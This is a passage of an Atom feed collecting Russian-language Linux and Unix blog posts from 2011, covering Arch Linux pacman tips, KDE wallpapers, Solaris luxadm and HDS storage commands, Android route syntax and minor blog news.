Существует враппер над pacman позволяющий сделать что-то вроде сборки мира, использовал я его всего единожды посему не распишу о его возможностях, называется он <a href="http://aur.archlinux.org/packages.php?ID=17216">pacbuilder</a>, yaourt тоже умеет ставить пакет из исходников (<b>-Sb</b>, ставит с помощью ABS)
<br />

<br />
Кстати, gnome, kde или xfce можно установить всего лишь одной командой — <em>pacman -S groupname</em>, где имя группы <em>gnome, kde</em> или <em>xfce4</em> соответственно.
<br />

<br />
Прирожденным гентушникам будет приятно узнать о существовании <em>/etc/makepkg.conf</em> в котором прописаны некоторые параметры сборки при использовании <b>makepkg</b> (который, если забыли, собирает пакет из PKGBUILD)
<br />

<br />
<b>Плюшки для pacman</b>
<br />
Пакет <em>pacman-contrib</em> — содержит <em>backman</em> позволяющий завернуть установленные файлы обратно в пакет, упомянутый выше <em>pacdiff</em>, <em>paclist</em> показывающий пакеты в репозитории, <em>pacscripts</em> показывающий пре-,пост-установочные скрипты (в том числе и в файлах пакетов), <em>pacsearch</em> работающий симпотичным аналогом <em>pacman -Ss search</em>. Так же в <em>pacman-contrib</em> имеются файлы для подсветки PKGBUILD
<br />
Пакет <em>srcpac</em> — враппер пакмана для сборки из исходников(функционал частично пересекается с yaourt), <em>namcap</em> для анализа пакетов... Вообще различных дополнений и приятных мелочей для более комфортной работы сполна, как в репозитории, так и в AUR'е, вопрос лишь в том нужны ли они лично вам. Я вполне удовлетворяюсь наличием в системе yaourt.
<br />

<br />
<b>GUI для pacman</b>
<br />
А нету такого =)
<br />
Т.е. есть всякие <em>gtkpacman-mod, <a href="http://muhas.ru/?p=178">AppSet</a>, PackageKit</em> и прочие, но они настолько убоги, что их даже в репозитарии не берут... Шутка, конечно, хотя в каждой шутке как известно...
<br />
Вообще с гуем к пакману все очень плохо, все кто заявлял о себе умирали, появляются новые и так же умирают. Может в будущем что-то и изменится, но пока надежда разве что на вполне приличные <em>PackageKit</em> и <em>AppSet</em> — оба находятся в AUR и работают относительно неплохо. Тот же <em>PackageKit</em> даже умудрился попасть в репозиторий.
<br />
Так же активизировались некроманты дарующие вторую жизнь проекту <a href="http://muhas.ru/?p=15">gtkpacman</a> (gtkpacman-mod, wakka — надеюсь они не будут распыляться на два очень-очень похожих проекта и объединят свои усилия, хотя скорее всего они тоже умрут).
<br />
Имеется так же не так давно появившейся <a href="http://almin-soft.nx0.ru/openiandifree/pacmanxg.html">pacmanxg</a> с несколько странноватым для меня интерфейсом и поддержкой <em>AUR</em> через <em>yaourt</em>.
<br />
Есть ещё интересный проект —  <b>pcurses</b>, как видно из название это ncurses мордочка для управления пакетами, лично мне она понравилась намного больше чем другие GUI.
<br />
Расписываться про оболочки для пакмана не хочу, несмотрня на то что тема мне достаточно интересна и есть что сказать по этому поводу...
<br />
Достаточно подробно о графическом пакмане и различных уведомлялках о обновлении можно прочесть <a href="https://wiki.archlinux.org/index.php/Pacman_GUI_Frontends">здесь</a>.
<br />

<br />
<b>Автодополнения для pacman</b>
<br />
Для пользователей <em>bash</em>: ставим <em>bash-completion</em> и добавляем в ваш <em>bashrc</em> строки<pre><code>if [ -f /etc/bash_completion ]; then
	. /etc/bash_completion
fi</code></pre>Для пользователей <a href="http://muhas.ru/?all=zsh"><em>zsh</em></a>: включаем в нем автодополнения, если с дуру отключили, и устанавливаем из AUR пакеты <em>zsh-packer</em> для <em>packer</em>, <em>zsh-bauerbill</em> для bauerbill и <b>zsh-yaourt</b> для yaourt. 
<br />

<br />
<b>Дополнительные материалы</b>
<br />
<a href="http://wiki.archlinux.org/index.php/Main_Page_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">Arch Wiki</a> — там есть почти всё что обычно описывают в сторонних хаутушках типа того что вы читаетете сейчас
<br />
Там есть <a href="http://wiki.archlinux.org/index.php/ArchLinux_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">обзор ArchLinux</a>, <a href="http://wiki.archlinux.org/index.php/The_Arch_Way_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">его Дао</a>, <a href="http://wiki.archlinux.org/index.php/Arch_%D0%B8_%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%B5">сравнение арча с другими дистрибутивами</a>, <a href="http://wiki.archlinux.org/index.php/Rc.conf_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">основная настройка</a> и информация о управлении пакетами (<a href="http://wiki.archlinux.org/index.php/Pacman_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">pacman</a>, 
<br />
<a href="http://wiki.archlinux.org/index.php/AUR_%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8F">AUR</a> и 
<br />
<a href="http://wiki.archlinux.org/index.php/Arch_Build_System_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">ABS</a>). В общем там есть многое, не ленитесь читать, скорее всего там есть ответ на ваш вопрос.
<br />
Несмотря на то что даю ссылки на русские статьи в арчевики, рекомендую всё же читать англоязычный вариант (если позволяют знания языков), ибо русскоязычная часть вики не очень активна и многочисленна, посему не всегда поспевает за английской (Присоедениться к переводчикам и писцам русскоязычной арчевики).
<br />

<br />

<br />
<b>PS</b>
<br />
Писалось сие ещё в конце января, но не публиковалось по причине сомнений в нужности — сомнения, конечно, остались, но некоторые события дали толчок ещё раз поразмыслить о её нужность и после череды правок выложить этот ArchTips. Как оказалось в ArchLinux с момента написания первого черновика сей заметки практически ничего не изменилось.
<br />
По мере сил, возможности и желания буду пополнять и обновлять сию заметку.
<br />
Вроде пока все, если есть еще какие вопросы-ответы, уточнения и исправления — делитесь, с удовольствием дополню или исправлю возможно закравшиеся ошибки...<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/qBc9MTlxib8" height="1" width="1" /></div></summary>
    <updated>2011-12-28T09:31:19Z</updated>
    <category term="arch" />
    <category term="tips" />
    <category term="yaourt" />
    <category term="pacman" />
    <category term="pacman-gui" />
    <category term="packagekit" />
    <category term="bauerbill" />
    <category term="paktahn" />
    <category term="netcfg" />
    <category term="linux" />
    <source>
      <id>http://muhas.ru</id>
      <logo>http://muhas.ru/img/logosmall.png</logo>
      <link href="http://muhas.ru" rel="alternate" type="text/html" />
      <link href="http://muhas.ru/rss/?tags=linux" rel="self" type="application/rss+xml" />
      <title>muhas — Заметки аскетичного гика</title>
      <updated>2012-02-09T14:01:25Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://hrafn.me/?p=926</id>
    <link href="http://hrafn.me/2011/12/skoro-pereezd/" rel="alternate" type="text/html" />
    <title>Скоро переезд</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>В ближайшие дни планирую уже окончательный переезд блога с WordPress на Jekyll. Соответственно, изменится и дизайн, и скорость загрузки.</p> <p>Планируется, что все мои заметки будут доступны по тем же самых ссылкам. То же самое ожидается и с RSS, но тут надо еще посмотрим, быть может перейду на FeedBurner.</p> <p>После переезда предполагается также некоторый период <span style="color: #777;"> . . . → Read More: <a href="http://hrafn.me/2011/12/skoro-pereezd/">Скоро переезд</a></span></p></div>
    </summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>В ближайшие дни планирую уже окончательный переезд блога с WordPress на Jekyll. Соответственно, изменится и дизайн, и скорость загрузки.</p>
<p>Планируется, что все мои заметки будут доступны по тем же самых ссылкам. То же самое ожидается и с RSS, но тут надо еще посмотрим, быть может перейду на FeedBurner.</p>
<p>После переезда предполагается также некоторый период допиливания различных частей ресурса до удовлетворяющего меня состояния, но кардинальных перемен быть не должно.</p>
<p>И еще один момент: как минимум первое время система комментирования будет недоступна. Что с ней будет дальше пока не знаю, комментариев на данный момент не так много, и имеет ли смысл их вообще включать  - сомневаюсь. Если есть мысли по этому поводу, пишите, пожалуйста, в комменты, пока они есть :)</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/BkOZlxc4o1c" height="1" width="1" /></div></content>
    <updated>2011-12-28T08:30:58Z</updated>
    <category term="Hrafn" />
    <category term="Новости" />
    <author>
      <name>AlexFinn</name>
    </author>
    <source>
      <id>http://hrafn.me</id>
      <link href="http://hrafn.me/feed/" rel="self" type="application/atom+xml" />
      <link href="http://hrafn.me" rel="alternate" type="text/html" />
      <title>hrafn.me</title>
      <updated>2011-12-28T08:30:58Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://knotes.ru/?p=4413</id>
    <link href="http://knotes.ru/2011/12/new-wallpapers/" rel="alternate" type="text/html" />
    <title>Свежие обои</title>
    <summary>Завершился очередной конкурс на лучшие новые обои для KDE SC. Жюри из Nuno Pinheiro, Ingo «neverendingo» Malchow и Lydia «Nightrose» Pintscher отобрали шестерых победителей, которые войдут в KDE SC 4.8.
Первым стал Storm от Marco Oggioni, который вошёл в состав «погодных» обоев из KDE Artwork (кстати, туда же переехала часть старых обоев из kde-wallpapers):



Storm (Marco Oggioni)


Эти [...]</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Завершился очередной <a href="http://dot.kde.org/2011/11/20/plasma-workspaces-wallpaper-contest">конкурс</a> на лучшие новые обои для KDE SC. Жюри из Nuno Pinheiro, Ingo «neverendingo» Malchow и Lydia «Nightrose» Pintscher отобрали шестерых победителей, которые войдут в KDE SC 4.8.</p>
<p>Первым стал Storm от Marco Oggioni, который вошёл в состав «<a href="http://knotes.ru/2009/06/wallpapers/">погодных</a>» обоев из KDE Artwork (кстати, туда же переехала часть старых обоев из kde-wallpapers):</p>
<table align="center" border="0">
<tbody>
<tr>
<td><div class="wp-caption center" id="attachment_4412" style="width: 410px;"><img alt="" class="size-full wp-image-4412 " height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Storm.png" title="Storm" width="400" /><p class="wp-caption-text"><i>Storm (Marco Oggioni)</i></p></div></td></tr>
</tbody>
</table>
<p>Эти пять пополнили «изкоробочную» поставку:</p>
<table align="center" border="0">
<tbody>
<tr>
<td><div class="wp-caption center" id="attachment_4408" style="width: 410px;"><img alt="" class="size-full wp-image-4408" height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Azul.png" title="Azul" width="400" /><p class="wp-caption-text"><i>Azul (Davide Bettio)</i></p></div><p />
<div class="wp-caption center" id="attachment_4409" style="width: 410px;"><img alt="" class="size-full wp-image-4409" height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Castilla_Sky.png" title="Castilla_Sky" width="400" /><p class="wp-caption-text">Castilla Sky (Luiz Bettoni)</p></div>
<div class="wp-caption center" id="attachment_4410" style="width: 410px;"><img alt="" class="size-full wp-image-4410" height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Flying_Field.png" title="Flying_Field" width="400" /><p class="wp-caption-text"><i>Flying Field (Luiz Bettoni)</i></p></div>
<p /><div class="wp-caption center" id="attachment_4411" style="width: 410px;"><img alt="" class="size-full wp-image-4411" height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Fog_on_the_West_Lake.png" title="Fog_on_the_West_Lake" width="400" /><p class="wp-caption-text"><i>Fog on the West Lake (Vimac)</i></p></div></td></tr>
</tbody>
</table>
<p>Ну а этот представитель минималистичного абстракционизма будет новым фоном по умолчанию для следующей версии KDE SC:</p>
<table align="center" border="0">
<tbody>
<tr>
<td><div class="wp-caption center" id="attachment_4407" style="width: 410px;"><img alt="" class="size-full wp-image-4407" height="250" src="http://knotes.ru/wp-content/uploads/2011/12/Ariya.png" title="Ariya" width="400" /><p class="wp-caption-text"><i>Ariya (Eshat Cakar)</i></p></div></td></tr>
</tbody>
</table><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/hYB7Fu28OTU" height="1" width="1" /></div></content>
    <updated>2011-12-26T09:01:32Z</updated>
    <category term="Ход разработки" />
    <category term="art" />
    <category term="KDE SC 4.8" />
    <author>
      <name>AX</name>
    </author>
    <source>
      <id>http://knotes.ru</id>
      <link href="http://knotes.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/KNotes" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Всё о KDE</subtitle>
      <title>K Notes</title>
      <updated>2012-01-10T22:01:38Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://www.unixpin.com/wordpress/?p=898</id>
    <link href="http://www.unixpin.com/wordpress/2011/12/21/hds-command-device-horcm/" rel="alternate" type="text/html" />
    <title>Как определить HDS command device</title>
    <summary>С недавнего времени в horcm конфигах (файлах, описывающих репликацию ShadowImage, COW или TruCopy) теперь очень просто описать Command device: #dev_name dev_name dev_name \\.\CMD-99999:/dev/rdsk/ Где 99999 — серийный номер вашего массива. В более ранних версиях требовалось указывать конкретные LUN-ы, на которых располагались Command devices, что вызывало проблемы при переезде путей в SAN или, например, замене HBA. [...]</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>С недавнего времени в horcm конфигах (файлах, описывающих репликацию ShadowImage, COW или TruCopy) теперь очень просто описать Command device:</p>
<p><code>#dev_name dev_name dev_name<br />
\\.\CMD-<strong>99999</strong>:/dev/rdsk/</code></p>
<p>Где 99999 — серийный номер вашего массива.<br />
В более ранних версиях требовалось указывать конкретные LUN-ы, на которых располагались Command devices, что вызывало проблемы при переезде путей в SAN или, например, замене HBA. Теперь, при замене HBA, изменении номера контроллера после перезагрузки или проведении <a href="http://www.unixpin.com/wordpress/2008/10/25/sun-dynamic-reconfiguration-2/">динамической реконфигурации</a> итд — репликация продолжает работать.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/ikb9OQdzBY4" height="1" width="1" /></div></content>
    <updated>2011-12-21T14:30:31Z</updated>
    <category term="Hardware - HDS" />
    <category term="Unix - Solaris" />
    <category term="comman device" />
    <category term="hds" />
    <category term="horcm0.conf" />
    <category term="replication" />
    <author>
      <name>ikorolev</name>
    </author>
    <source>
      <id>http://www.unixpin.com/wordpress</id>
      <link href="http://www.unixpin.com/wordpress/feed/" rel="self" type="application/atom+xml" />
      <link href="http://www.unixpin.com/wordpress" rel="alternate" type="text/html" />
      <subtitle>unix: советы, примеры, решения</subtitle>
      <title>Unix pin</title>
      <updated>2012-02-09T14:00:21Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-7800991272705950027.post-2828439610533227348</id>
    <link href="http://www.propheta.ru/feeds/2828439610533227348/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=7800991272705950027&amp;postID=2828439610533227348" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/2828439610533227348" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/2828439610533227348" rel="self" type="application/atom+xml" />
    <link href="http://www.propheta.ru/2011/12/route-android.html" rel="alternate" type="text/html" />
    <title>Синтаксис команды route в Android</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><div><ul><li>route add default dev DEVICE</li><li>route add default gw IP dev DEVICE</li><li>route add -net IP netmask NETMASK gw IP</li></ul>Нашел здесь: <a href="http://zecke.blogspot.com/2010/06/adding-route-with-androids-route.html">zecke.blogspot.com </a></div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/7800991272705950027-2828439610533227348?l=www.propheta.ru" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/AJqHdojVi-M" height="1" width="1" /></div></content>
    <updated>2011-12-05T10:34:00Z</updated>
    <published>2011-12-05T10:34:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="IT" />
    <category scheme="http://www.blogger.com/atom/ns#" term="заметка" />
    <category scheme="http://www.blogger.com/atom/ns#" term="net" />
    <category scheme="http://www.blogger.com/atom/ns#" term="android" />
    <author>
      <name>Князь</name>
      <email>noreply@blogger.com</email>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-7800991272705950027</id>
      <category term="заметка" />
      <category term="php5" />
      <category term="статьи" />
      <category term="mail" />
      <category term="wiki" />
      <category term="tablet PC" />
      <category term="javascript" />
      <category term="goodbye windows" />
      <category term="net" />
      <category term="socks" />
      <category term="IT" />
      <category term="perl" />
      <category term="mpd4" />
      <category term="asus" />
      <category term="поднимает настроение" />
      <category term="openvz" />
      <category term="ports" />
      <category term="государство" />
      <category term="curl" />
      <category term="юмор" />
      <category term="вопрос" />
      <category term="switch" />
      <category term="suphp" />
      <category term="pppoe" />
      <category term="firefox" />
      <category term="ppp" />
      <category term="политика" />
      <category term="find" />
      <category term="ldap" />
      <category term="shell" />
      <category term="законы" />
      <category term="блог" />
      <category term="windows" />
      <category term="irc" />
      <category term="freebsd" />
      <category term="ocr" />
      <category term="firewall" />
      <category term="kvm" />
      <category term="raid" />
      <category term="nic" />
      <category term="виртуализация" />
      <category term="hardware" />
      <category term="xen" />
      <category term="apache" />
      <category term="linux" />
      <category term="уязвимости" />
      <category term="virtualbox" />
      <category term="Россия" />
      <category term="sysctl" />
      <category term="mysql" />
      <category term="новости" />
      <category term="ssh" />
      <category term="патенты" />
      <category term="odf" />
      <category term="Open Source" />
      <category term="ooxml" />
      <category term="squid" />
      <category term="статья" />
      <category term="android" />
      <category term="freeradius" />
      <category term="kernel" />
      <category term="microsoft" />
      <category term="samba" />
      <category term="qemu" />
      <category term="jail" />
      <category term="vpn" />
      <category term="опрос" />
      <category term="ubuntu" />
      <category term="утилиты" />
      <category term="netflow" />
      <category term="ftp" />
      <category term="google" />
      <category term="SCO" />
      <category term="ссылки" />
      <category term="зеркало" />
      <author>
        <name>Князь</name>
        <email>noreply@blogger.com</email>
      </author>
      <link href="http://www.propheta.ru/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.propheta.ru/search/label/IT" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/-/IT/-/IT?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/propheta-it" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Propheta</title>
      <updated>2011-12-11T10:23:41Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-774380008944876213.post-925987655022461895</id>
    <link href="http://www.allaboutvim.ru/feeds/925987655022461895/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=774380008944876213&amp;postID=925987655022461895" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/774380008944876213/posts/default/925987655022461895" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/774380008944876213/posts/default/925987655022461895" rel="self" type="application/atom+xml" />
    <link href="http://www.allaboutvim.ru/2011/12/vim.html" rel="alternate" type="text/html" />
    <title>Про поиск в Vim</title>
    <summary type="html">Про поиск в Vim
Решившись наконец поразбираться с реализацией поиска в Виме, в очередной
раз был поражён тому, насколько мощный передо мной текстовый редактор.
Казалось бы поиск - он и в Африке поиск! Но размер страницы справочника по
шаблонам поиска в 1296 строк заставил задуматься. Относительно меньше, но всё равное
много занимает страница руководства по непосредственно поиску. Я не буду&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/-53_uG5ub3c" height="1" width="1"/&gt;</summary>
    <updated>2011-12-02T22:09:00Z</updated>
    <published>2011-12-02T22:09:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="полезности" />
    <author>
      <name>Pento</name>
      <email>noreply@blogger.com</email>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-774380008944876213</id>
      <category term="colorcsheme" />
      <category term="emacs" />
      <category term="видео" />
      <category term="jabber" />
      <category term="Esc" />
      <category term="vmap" />
      <category term="nmap" />
      <category term="книга" />
      <category term="night" />
      <category term="map" />
      <category term="полезности" />
      <category term="book" />
      <category term="vimrc" />
      <category term="reStructuredText" />
      <category term="holywar" />
      <category term="day" />
      <category term="mingw" />
      <category term="N810" />
      <category term="python" />
      <category term="imap" />
      <category term="7.3" />
      <category term="windows" />
      <category term="WTF" />
      <category term="vim" />
      <category term="release" />
      <category term="события" />
      <category term="релизы" />
      <category term="svn" />
      <category term="Maemo" />
      <category term="screencast" />
      <author>
        <name>Pento</name>
        <email>noreply@blogger.com</email>
      </author>
      <link href="http://www.allaboutvim.ru/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/774380008944876213/posts/default" rel="self" type="application/atom+xml" />
      <link href="http://www.allaboutvim.ru/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/774380008944876213/posts/default?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>Блог посвящён текстовому редактору Vim</subtitle>
      <title>Всё о Vim</title>
      <updated>2012-02-05T08:44:10Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://hrafn.me/?p=921</id>
    <link href="http://hrafn.me/2011/11/opensuse-12-1/" rel="alternate" type="text/html" />
    <title>openSUSE 12.1</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Очень уж давно не писал ничего. Как-то то времени не найти, то желания. Кроме того, особо ничего интересного не происходило, а плодить бессмысленные посты с очередным двухсоттысячным описанием настройки чего-либо не хочется.</p> <p>Из последних новостей имеется только одна — установка основной системой свежевышедшей openSUSE 12.1. И даже тут рассказывать нечего :) Все работает, как и <span style="color: #777;"> . . . → Read More: <a href="http://hrafn.me/2011/11/opensuse-12-1/">openSUSE 12.1</a></span></p></div>
    </summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Очень уж давно не писал ничего. Как-то то времени не найти, то желания. Кроме того, особо ничего интересного не происходило, а плодить бессмысленные посты с очередным двухсоттысячным описанием настройки чего-либо не хочется.</p>
<p>Из последних новостей имеется только одна — установка основной системой свежевышедшей openSUSE 12.1. И даже тут рассказывать нечего :) Все работает, как и должно. Gnome, в третьей своей версии, нравится мне все больше, по-крайней мере, сильно удобней, чем Unity на Ubuntu, которой я пользуюсь на работе.</p>
<p>Хотел написать еще некоторые вещи, но что-то SpringPad работать не хочет, поэтому позже. Есть пара мыслей для небольших заметок.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/7rBboPtsPUw" height="1" width="1" /></div></content>
    <updated>2011-11-29T17:31:14Z</updated>
    <category term="Без рубрики" />
    <category term="me" />
    <author>
      <name>AlexFinn</name>
    </author>
    <source>
      <id>http://hrafn.me</id>
      <link href="http://hrafn.me/feed/" rel="self" type="application/atom+xml" />
      <link href="http://hrafn.me" rel="alternate" type="text/html" />
      <title>hrafn.me</title>
      <updated>2011-12-28T08:30:58Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://www.unixpin.com/wordpress/?p=886</id>
    <link href="http://www.unixpin.com/wordpress/2011/11/29/luxadm-2/" rel="alternate" type="text/html" />
    <title>luxadm. Часть 2. Сделать</title>
    <summary>luxadm. Часть 1. Посмотреть luxadm. Часть 2. Сделать Что можно сделать с помощью команды luxadm При мультипатинге STMS(MPXIO) переключение пути с primary на secondary (на дисковых массивах в режиме active-passive). Посмотреть какие пути primary/secondary с помощью luxadm display /dev/rdsk/c14t6d0s2 # luxadm failover secondary /dev/rdsk/c14t6d0s2 Error: Device does not support failover # luxadm failover primary /dev/rdsk/c14t6d0s2 [...]</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><ol>
<li><a href="http://www.unixpin.com/wordpress/2011/11/24/luxadm-1/">luxadm. Часть 1. Посмотреть</a></li>
<li><a href="http://www.unixpin.com/wordpress/2011/11/29/luxadm-2/">luxadm. Часть 2. Сделать</a></li>
</ol>
<p>Что можно сделать с помощью команды luxadm</p>
<p><strong>При мультипатинге STMS(MPXIO) переключение пути с primary на secondary (на дисковых массивах в режиме active-passive). Посмотреть какие пути primary/secondary с помощью <code>luxadm display /dev/rdsk/c14t6d0s2</code></strong><br />
<code># <span style="color: #ff0000;">luxadm failover secondary /dev/rdsk/c14t6d0s2</span><br />
Error: Device does not support failover<br />
# <span style="color: #ff0000;">luxadm failover primary /dev/rdsk/c14t6d0s2</span><br />
Error: Device does not support failover</code></p>
<p><strong>Переинициализировать порт hba (погасить и зажечь порт). Помогает при залипаниях и добавлении новых дисков со стороны массива.</strong><br />
<code># <span style="color: #ff0000;">luxadm -e forcelip /dev/cfg/c3</span><br />
# tail -100 /var/adm/messages<br />
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.05F1]emlxs1: NOTICE: 730: Link reset. (Resetting link...)<br />
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.031F]emlxs1: NOTICE: 710: Link down.<br />
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.0631]emlxs1: NOTICE: 730: Link reset.<br />
Oct 26 17:32:24 pioneer emlxs: [ID 349649 kern.info] [ 5.0549]emlxs1: NOTICE: 720: Link up. (4Gb, fabric, initiator)</code></p>
<p><strong>Перевести устройство в offline (полезно при удалении определенных LUNов с массивов)</strong><br />
<code># <span style="color: #ff0000;">luxadm -e offline /dev/rdsk/c14t6d0s2</span></code></p>
<p><strong>Перевести устройство в online</strong><br />
<code># <span style="color: #ff0000;">luxadm -e online /dev/rdsk/c14t6d0s2</span></code></p>
<p><strong>Послать устройству команду reset</strong><br />
<code># <span style="color: #ff0000;">luxadm -e dev_reset /dev/rdsk/c14t6d0s2</span></code></p>
<p><strong>Зажечь или погасить лампочку на диске (работает только на некоторых устройствах)</strong><br />
<code># <span style="color: #ff0000;">luxadm led /dev/rdsk/c14t6d0s2</span><br />
# <span style="color: #ff0000;">luxadm led_on /dev/rdsk/c14t6d0s2</span><br />
# <span style="color: #ff0000;">luxadm led_off /dev/rdsk/c14t6d0s2</span><br />
# <span style="color: #ff0000;">luxadm led_blink /dev/rdsk/c14t6d0s2</span></code></p>
<p><strong>Обновить прошивку на hba (лучше пользоваться загрузчиком из firmware патча)</strong><br />
<code># <span style="color: #ff0000;">luxadm fcode_download -d /path_to_firmware</span></code></p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/7rw51XC8u-c" height="1" width="1" /></div></content>
    <updated>2011-11-29T14:01:33Z</updated>
    <category term="Hardware - Sun" />
    <category term="Unix - Solaris" />
    <category term="Шпаргалки" />
    <category term="array" />
    <category term="disk" />
    <category term="fc" />
    <category term="hba" />
    <category term="luxadm" />
    <category term="offline" />
    <category term="Unix-&gt;Solaris" />
    <author>
      <name>ikorolev</name>
    </author>
    <source>
      <id>http://www.unixpin.com/wordpress</id>
      <link href="http://www.unixpin.com/wordpress/feed/" rel="self" type="application/atom+xml" />
      <link href="http://www.unixpin.com/wordpress" rel="alternate" type="text/html" />
      <subtitle>unix: советы, примеры, решения</subtitle>
      <title>Unix pin</title>
      <updated>2012-02-09T14:00:21Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-7800991272705950027.post-8911188133771575047</id>
    <link href="http://www.propheta.ru/feeds/8911188133771575047/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=7800991272705950027&amp;postID=8911188133771575047" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/8911188133771575047" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/8911188133771575047" rel="self" type="application/atom+xml" />
    <link href="http://www.propheta.ru/2011/11/mozilla-firefox.html" rel="alternate" type="text/html" />
    <title>Закрепление вкладок в Mozilla Firefox</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Узнал, что пункт «Закрепить вкладку» в контекстном меню вкладок – чрезвычайно удобная фича. Мало того, что закрепленные вкладки не затрагивает действие «Закрыть другие вкладки». <i><strike>Так они автоматически восстанавливаются при следующем запуске браузера</strike></i>. :)<div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/7800991272705950027-8911188133771575047?l=www.propheta.ru" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/y1V-Tv1g4DA" height="1" width="1" /></div></content>
    <updated>2011-11-23T07:58:00Z</updated>
    <published>2011-11-23T07:58:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="firefox" />
    <category scheme="http://www.blogger.com/atom/ns#" term="IT" />
    <category scheme="http://www.blogger.com/atom/ns#" term="заметка" />
    <author>
      <name>Князь</name>
      <email>noreply@blogger.com</email>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-7800991272705950027</id>
      <category term="заметка" />
      <category term="php5" />
      <category term="статьи" />
      <category term="mail" />
      <category term="wiki" />
